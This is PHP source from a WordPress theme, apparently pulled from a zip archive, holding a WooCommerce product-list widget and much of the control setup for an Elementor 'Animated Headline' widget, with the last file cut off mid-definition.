		if ( 'ids' === $settings['post_type'] && $settings['include'] ) {
			$query_args['post__in'] = $settings['include'];
		}
		if ( $settings['exclude'] ) {
			$query_args['post__not_in'] = $settings['exclude'];
		}
		if ( $settings['taxonomies'] ) {
			$taxonomy_names = get_object_taxonomies( 'product' );
			$terms          = get_terms(
				$taxonomy_names,
				array(
					'orderby'    => 'name',
					'include'    => $settings['taxonomies'],
					'hide_empty' => false,
				)
			);

			if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
				if ( 'featured' === $settings['post_type'] ) {
					$query_args['tax_query'] = [ 'relation' => 'AND' ]; // phpcs:ignore
				}

				$relation = $settings['query_type'] ? $settings['query_type'] : 'OR';
				if ( count( $terms ) > 1 ) {
					$query_args['tax_query']['categories'] = array( 'relation' => $relation );
				}

				foreach ( $terms as $term ) {
					$query_args['tax_query']['categories'][] = array(
						'taxonomy'         => $term->taxonomy,
						'field'            => 'slug',
						'terms'            => array( $term->slug ),
						'include_children' => true,
						'operator'         => 'IN',
					);
				}
			}
		}
		if ( 'featured' === $settings['post_type'] ) {
			$query_args['tax_query'][] = array(
				'taxonomy'         => 'product_visibility',
				'field'            => 'name',
				'terms'            => 'featured',
				'operator'         => 'IN',
				'include_children' => false,
			);
		}
		if ( apply_filters( 'penci_hide_out_of_stock_items', false ) && 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
			$query_args['meta_query'][] = array(
				'key'     => '_stock_status',
				'value'   => 'outofstock',
				'compare' => 'NOT IN',
			);
		}
		if ( $settings['order'] ) {
			$query_args['order'] = $settings['order'];
		}
		if ( $settings['offset'] ) {
			$query_args['offset'] = $settings['offset'];
		}
		if ( 'sale' === $settings['post_type'] ) {
			$query_args['post__in'] = array_merge( array( 0 ), penci_get_product_ids_on_sale() );
		}
		if ( 'bestselling' === $settings['post_type'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = 'total_sales'; // phpcs:ignore
			$query_args['order']    = 'DESC';
		}

		WC()->query->remove_ordering_args();

		if ( isset( $_GET['orderby'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$element_orderby = wc_clean( wp_unslash( $_GET['orderby'] ) ); // phpcs:ignore

			if ( 'date' === $element_orderby ) {
				$query_args['orderby'] = 'date';
				$query_args['order']   = 'DESC';
			} elseif ( 'price-desc' === $element_orderby ) {
				$query_args['orderby'] = 'price';
				$query_args['order']   = 'DESC';
			} else {
				$query_args['orderby'] = $element_orderby;
				$query_args['order']   = 'ASC';
			}
		}

		if ( 'price' === $query_args['orderby'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = '_price'; // phpcs:ignore
		}

		if ( isset( $_GET['per_page'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$query_args['posts_per_page'] = wc_clean( wp_unslash( $_GET['per_page'] ) ); // phpcs:ignore
		}

		if ( isset( $settings['product_type'] ) && in_array(
				$settings['product_type'],
				array(
					'day',
					'week',
					'month',
				)
			) ) {
			$date = '+1 day';
			if ( $settings['product_type'] == 'week' ) {
				$date = '+7 day';
			} elseif ( $settings['product_type'] == 'month' ) {
				$date = '+1 month';
			}
			$query_args['meta_query'] = apply_filters(
				'penci_product_deals_meta_query',
				array_merge(
					WC()->query->get_meta_query(),
					array(
						array(
							'key'     => '_deal_quantity',
							'value'   => 0,
							'compare' => '>',
						),
						array(
							'key'     => '_sale_price_dates_to',
							'value'   => 0,
							'compare' => '>',
						),
						array(
							'key'     => '_sale_price_dates_to',
							'value'   => strtotime( $date ),
							'compare' => '<=',
						),
					)
				)
			);
		} elseif ( isset( $settings['product_type'] ) && $settings['product_type'] == 'deals' ) {
			$query_args['meta_query'] = apply_filters(
				'penci_product_deals_meta_query',
				array_merge(
					WC()->query->get_meta_query(),
					array(
						array(
							'key'     => '_deal_quantity',
							'value'   => 0,
							'compare' => '>',
						),
					)
				)
			);
		}

		if ( 'top_rated_products' === $settings['post_type'] ) {
			add_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
			$products = new \WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
			remove_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
		} else {
			$products = new \WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
		}
		?>
        <div class="penci-wrapper-smalllist">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<?php
			if ( ! $products->have_posts() ) {
				echo $this->show_missing_settings( 'Product List', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
			}

			if ( $products->have_posts() ) {
				?>
                <div class="penci-smalllist pcsl-wrapper">
                    <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
						<?php if ( 'crs' == $type ) : ?>
                        <div class="swiper-wrapper">
							<?php endif; ?>
							<?php while ( $products->have_posts() ) : $products->the_post(); ?>
                                <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
									echo ' pcsl-nothumb';
								}
								echo ' ' . $item_class; ?>">
                                    <div class="pcsl-itemin">
                                        <div class="pcsl-iteminer">
											<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                <div class="pcsl-thumb">

                                                    <a <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbnail ) ), 'yes' != $settings['disable_lazy'] ); ?> href="<?php the_permalink(); ?>"
                                                       class="<?php echo penci_layout_bg_class('yes' != $settings['disable_lazy']);?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
														echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
													} ?>>
														<?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumbnail ) ), get_the_title(), 'yes' != $settings['disable_lazy'] ); ?>
                                                    </a>

                                                </div>
											<?php } ?>
                                            <div class="pcsl-content">

												<?php if ( $settings['product_cat'] !== 'on' ): ?>
                                                    <div class="cat pcsl-cat">
														<?php $this->product_categories_link(); ?>
                                                    </div>
												<?php endif; ?>

                                                <div class="pcsl-title">
                                                    <a href="<?php the_permalink(); ?>"><?php

														if ( ! $title_length ) {
															the_title();
														} else {
															echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
														} ?></a>
                                                </div>

												<?php if ( $settings['product_price'] !== 'on' ): ?>

                                                    <div class="pcsl-price">
														<?php woocommerce_template_loop_price(); ?>
                                                    </div>
												<?php endif; ?>

												<?php if ( $settings['product_rating'] !== 'on' ): ?>
                                                    <div class="pcsl-rating">
														<?php woocommerce_template_loop_rating(); ?>
                                                    </div>
												<?php endif; ?>
                                            </div>
                                        </div>
                                    </div>
                                </div>
							<?php endwhile; ?>
							<?php if ( 'crs' == $type ) : ?>
                        </div>
					<?php endif; ?>
                    </div>
                </div>
				<?php
			} /* End check if query exists posts */
			?>
        </div>
		<?php
		wp_reset_postdata();
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function product_categories_link() {
		global $post;

		$terms = get_the_terms( $post->ID, 'product_cat' );

		if ( ! $terms ) {
			return;
		}

		$terms_array = array();
		$parent      = array();
		$child       = array();
		$links       = array();

		foreach ( $terms as $term ) {
			$terms_array[ $term->term_id ] = $term;

			if ( ! $term->parent ) {
				$parent[ $term->term_id ] = $term->name;
			}
		}

		foreach ( $terms as $term ) {
			if ( $term->parent ) {
				unset( $parent[ $term->parent ] );

				if ( array_key_exists( $term->parent, $terms_array ) ) {
					$child[ $term->parent ] = get_term( $term->parent )->name;
				}

				$child[ $term->term_id ] = $term->name;
			}
		}

		$terms = $child + $parent;

		foreach ( $terms as $key => $value ) {
			$links[] = '<a href="' . esc_url( get_term_link( $key ) ) . '" rel="tag">' . esc_html( $value ) . '</a>';
		}

		?>
        <div class="penci-product-cats">
			<?php echo implode( ', ', $links ); // phpcs:ignore ?>
        </div>
		<?php
	}
}
PK     1w\ew  w  4  elementor/modules/penci-animated-headline/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAnimatedHeadline;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-animated-headline';
	}

	public function get_widgets() {
		return array( 'PenciAnimatedHeadline' );
	}
}
PK     1w\5=djm  jm  M  elementor/modules/penci-animated-headline/widgets/penci-animated-headline.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAnimatedHeadline\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class PenciAnimatedHeadline extends Base_Widget {

	public function get_name() {
		return 'penci-animated-headline';
	}

	public function get_title() {
		return esc_html__( 'Penci Animated Headline', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-animated-headline';
	}

	public function get_keywords() {
		return [ 'headline', 'heading', 'animation', 'title', 'text' ];
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'text_elements',
			[
				'label' => esc_html__( 'Headline', 'soledad' ),
			]
		);

		$this->add_control(
			'text_style',
			array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'rotating',
				'options' => array(
					'none'        => __( 'None', 'soledad' ),
					'highlighted' => __( 'Highlighted', 'soledad' ),
					'rotating'    => __( 'Rotating', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'text_shape',
			array(
				'label'     => __( 'Shape', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'circle',
				'options'   => array(
					'circle'           => __( 'Circle', 'soledad' ),
					'curly'            => __( 'Curly', 'soledad' ),
					'underline'        => __( 'Underline', 'soledad' ),
					'double'           => __( 'Double', 'soledad' ),
					'double-underline' => __( 'Double Underline', 'soledad' ),
					'underline-zigzag' => __( 'Underline Zigzag', 'soledad' ),
					'diagonal'         => __( 'Diagonal', 'soledad' ),
					'strikethrough'    => __( 'Strikethrough', 'soledad' ),
					'x'                => __( 'X', 'soledad' ),
					'check'            => __( 'Check', 'soledad' ),
					'pan'              => __( 'Pan', 'soledad' ),
					'click'            => __( 'Click', 'soledad' ),
					'heart'            => __( 'Heart', 'soledad' ),
					'bolt'             => __( 'Bolt', 'soledad' ),
					'sparkle'          => __( 'Sparkle', 'soledad' ),
					'line'             => __( 'Line', 'soledad' ),
					'line-1'           => __( 'Line 1', 'soledad' ),
					'line-2'           => __( 'Line 2', 'soledad' ),
					'underline-1'      => __( 'Underline 1', 'soledad' ),
					'underline-2'      => __( 'Underline 2', 'soledad' ),
				),
				'condition' => [ 'text_style' => 'highlighted' ]
			)
		);

		$this->add_responsive_control(
			'highlight_width',
			array(
				'label'     => __( 'Shape Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [ 'size' => 8 ],
				'range'     => array(
					'px' => array(
						'min'  => 0,
						'max'  => 50,
						'step' => 1,
					),
				),
				'condition' => [ 'text_style' => 'highlighted' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => 'stroke-width:{{SIZE}}px' ],
			)
		);

		$this->add_control(
			'highlight_animation_duration',
			array(
				'label'       => __( 'Animation Duration', 'soledad' ),
				'description' => __( 'Enter the value in second(s)', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [ 'size' => 10 ],
				'range'       => array(
					'px' => array(
						'min'  => 0,
						'max'  => 20,
						'step' => 0.1,
					),
				),
				'condition'   => [ 'text_style' => 'highlighted' ],
				'selectors'   => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-duration: {{SIZE}}s; -webkit-animation-duration: {{SIZE}}s; -o-animation-duration: {{SIZE}}s; -ms-animation-duration: {{SIZE}}s; animation-duration: {{SIZE}}s;',
				),
			)
		);

		$this->add_control(
			'highlight_animation_delay',
			array(
				'label'       => __( 'Animation Delay', 'soledad' ),
				'description' => __( 'Enter the value in second(s)', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [ 'size' => 3 ],
				'range'       => array(
					'px' => array(
						'min'  => 0,
						'max'  => 20,
						'step' => 0.1,
					),
				),
				'condition'   => [ 'text_style' => 'highlighted' ],
				'selectors'   => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-delay: {{SIZE}}s; -webkit-animation-delay: {{SIZE}}s; -o-animation-delay: {{SIZE}}s; -ms-animation-delay: {{SIZE}}s; animation-delay: {{SIZE}}s;',
				),
			)
		);

		$this->add_control(
			'text_rotating',
			array(
				'label'     => __( 'Rotating', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'typing',
				'options'   => array(
					'typing'      => __( 'Typing', 'soledad' ),
					'clip'        => __( 'Clip', 'soledad' ),
					'flip'        => __( 'Flip', 'soledad' ),
					'swirl'       => __( 'Swirl', 'soledad' ),
					'blinds'      => __( 'Blinds', 'soledad' ),
					'bounce'      => __( 'Bounce', 'soledad' ),
					'swing'       => __( 'Swing', 'soledad' ),
					'rubber-band' => __( 'Rubber Band', 'soledad' ),
					'drop-in'     => __( 'Drop In', 'soledad' ),
					'wave'        => __( 'Wave', 'soledad' ),
					'slide-left'  => __( 'Slide Left', 'soledad' ),
					'slide-right' => __( 'Slide Right', 'soledad' ),
					'slide-up'    => __( 'Slide Up', 'soledad' ),
					'slide-down'  => __( 'Slide Down', 'soledad' ),
				),
				'condition' => [ 'text_style' => 'rotating' ]
			)
		);

		$this->add_control(
			'text_letter_speed',
			array(
				'label'      => __( 'Letters Speed Rotate', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => [ 'size' => 100 ],
				'range'      => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => 'in',
							'value'    => array( 'typing', 'swirl', 'blinds', 'wave' ),
						],
					]
				)
			)
		);

		$this->add_control(
			'text_delay_change',
			array(
				'label'     => __( 'Delay on Change Words', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [ 'size' => 2500 ],
				'range'     => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'condition' => [ 'text_style' => 'rotating' ]
			)
		);

		$this->add_control(
			'text_clip_duration',
			array(
				'label'      => __( 'Clip Duration', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => [ 'size' => 2000 ],
				'range'      => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'clip',
						],
					]
				)
			)
		);

		$this->add_control(
			'text_delay_delete',
			array(
				'label'      => __( 'Delay on Delete Letters', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => [ 'size' => 500 ],
				'range'      => array(
					'px' => array(
						'min'  => 0,
						'max'  => 5000,
						'step' => 1,
					),
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'typing',
						],
					]
				)
			)
		);

		$this->add_control(
			'text_before',
			array(
				'label'   => __( 'Before Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'This is ',
			)
		);

		$this->add_control(
			'text_animated',
			array(
				'label'     => __( 'Animated Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => ' animate ',
				'condition' => [ 'text_style!' => 'rotating' ]
			)
		);

		$this->add_control(
			'text_after',
			array(
				'label'   => __( 'After Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => ' text',
			)
		);

		$this->add_control(
			'text_link',
			array(
				'label' => __( 'Link', 'soledad' ),
				'type'  => Controls_Manager::URL,
			)
		);

		$this->add_control(
			'text_html_tag',
			array(
				'label'   => __( 'HTML Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'p',
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
			)
		);

		$this->add_control(
			'text_alignment',
			array(
				'label'     => __( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'center',
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right'
					),
				),
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline' => 'text-align:{{VALUE}}' ]
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'text_rotating_list_heading', array(
				'label'     => esc_html__( 'Rotating Text', 'soledad' ),
				'tab'       => Controls_Manager::TAB_CONTENT,
				'condition' => [ 'text_style' => 'rotating' ]
			)
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'text_rotating_list_item',
			array(
				'label' => __( 'Rotating Text', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'text_rotating_list', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'text_rotating_list_item' => __( 'Animate', 'soledad' ),
					),
					array(
						'text_rotating_list_item' => __( 'Beauty', 'soledad' ),
					),
					array(
						'text_rotating_list_item' => __( 'Effects', 'soledad' ),
					),
				),
				'title_field' => '{{{ text_rotating_list_item }}}',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'normal_text_style_heading', array(
				'label' => esc_html__( 'Normal Text', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'text_normal_typography',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text',
			)
		);

		$this->add_control(
			'text_normal_color_style',
			array(
				'label'   => __( 'Normal Color Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'color',
				'options' => array(
					'color'    => __( 'Color', 'soledad' ),
					'gradient' => __( 'Gradient', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'text_normal_color',
			array(
				'label'     => __( 'Normal Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_normal_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_normal_hcolor',
			array(
				'label'     => __( 'Normal Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_normal_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .normal-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_normal_gradient_heading',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_normal_color_style' => 'gradient' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_normal_gradient',
				'label'     => __( 'Text Gradient Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text',
				'condition' => [ 'text_normal_color_style' => 'gradient' ],

			)
		);

		$this->add_control(
			'text_normal_hgradient_heading',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_normal_color_style' => 'gradient' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_normal_hgradient',
				'label'     => __( 'Text Gradient Hover Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .normal-text',
				'condition' => [ 'text_normal_color_style' => 'gradient' ],

			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'ani_text_style_heading', array(
				'label' => esc_html__( 'Animated Text', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'text_ani_typography',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text',
			)
		);

		$this->add_control(
			'text_animated_margin',
			array(
				'label'    => __( 'Animated Text Margin', 'soledad' ),
				'type'     => Controls_Manager::DIMENSIONS,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'],
			)
		);
		
		$this->add_control(
			'text_animated_spacing',
			array(
				'label'    => __( 'Animated Text Padding', 'soledad' ),
				'type'     => Controls_Manager::DIMENSIONS,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'],
			)
		);
		
		$this->add_control(
			'text_animated_color_style',
			array(
				'label'   => __( 'Animated Text Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'gradient',
				'options' => array(
					'color'    => __( 'Color', 'soledad' ),
					'gradient' => __( 'Gradient', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'text_ani_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_animated_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_animated_hover_color',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'text_animated_color_style' => 'color' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'text_animated_normal_gradient_heading',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_animated_color_style' => 'gradient' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_animated_normal_gradient',
				'label'     => __( 'Text Gradient Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text, {{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text .dynamic-text-letter',
				'condition' => [ 'text_animated_color_style' => 'gradient' ],

			)
		);

		$this->add_control(
			'text_animated_normal_hgradient_heading',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => [ 'text_animated_color_style' => 'gradient' ],
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'text_animated_hover_gradient',
				'label'     => __( 'Text Hover Gradient Color', 'soledad' ),
				'types'     => array( 'gradient' ),
				'selector'  => '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text, {{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-gradient:not(.typing-delete) .dynamic-text .dynamic-text-letter',
				'condition' => [ 'text_animated_color_style' => 'gradient' ],

			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'highlight_style_heading', array(
				'label'     => esc_html__( 'Highlight', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [ 'text_style' => 'highlighted' ]
			)
		);

		$this->add_control(
			'highlight_color_style',
			array(
				'label'   => __( 'Animated Color Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'color',
				'options' => array(
					'color'    => __( 'Color', 'soledad' ),
					'gradient' => __( 'Gradient', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'highlight_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path.style-color' => 'stroke:{{VALUE}}' ],
				'condition' => [ 'highlight_color_style' => 'color' ]
			)
		);

		$this->add_control(
			'highlight_gradient_color1',
			array(
				'label'     => __( 'Gradient Color 1', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(1)' => 'stop-color:{{VALUE}}' ],
				'condition' => [ 'highlight_color_style' => 'gradient' ]
			)
		);

		$this->add_control(
			'highlight_gradient_color2',
			array(
				'label'     => __( 'Gradient Color 2', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(2)' => 'stop-color:{{VALUE}}' ],
				'condition' => [ 'highlight_color_style' => 'gradient' ]
			)
		);

		$this->add_control(
			'highlight_rounded',
			array(
				'label'     => __( 'Rounded Edges', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => 'stroke-linecap: round; stroke-linejoin: round',
				)
			)
		);

		$this->add_control(
			'highlight_front',
			array(
				'label'     => __( 'Override to Text', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg'           => 'z-index: 2',
					'{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text' => 'z-index: auto',
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'cursor_style_heading', array(
				'label'      => esc_html__( 'Typing', 'soledad' ),
				'tab'        => Controls_Manager::TAB_STYLE,
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'typing',
						],
					]
				)
			)
		);

		$this->add_control(
			'cursor_color',
			array(
				'label'     => __( 'Cursor Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper:after' => 'background-color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'typing_delete_color',
			array(
				'label'     => __( 'Delete Block Font Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete .dynamic-text .dynamic-text-letter' => 'color:{{VALUE}}' ],
			)
		);

		$this->add_control(
			'typing_background',
			array(
				'label'     => __( 'Delete Block Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete' => 'background-color:{{VALUE}}' ],
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'cursor_clip_heading', array(
				'label'      => esc_html__( 'Clip', 'soledad' ),
				'tab'        => Controls_Manager::TAB_STYLE,
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'text_style',
							'operator' => '=',
							'value'    => 'rotating'
						],
						[
							'name'     => 'text_rotating',
							'operator' => '=',
							'value'    => 'clip',
						],
					]
				)
			)
		);

		$this->add_control(
			'clip_width',
			array(
				'label'     => __( 'Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [ 'size' => 10 ],
				'range'     => array(
					'px' => array(
						'min'  => 0,
						'max'  => 20,
						'step' => 0.1,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after' => 'width: {{SIZE}}px;',
				),
			)
		);

		$this->add_group_control(
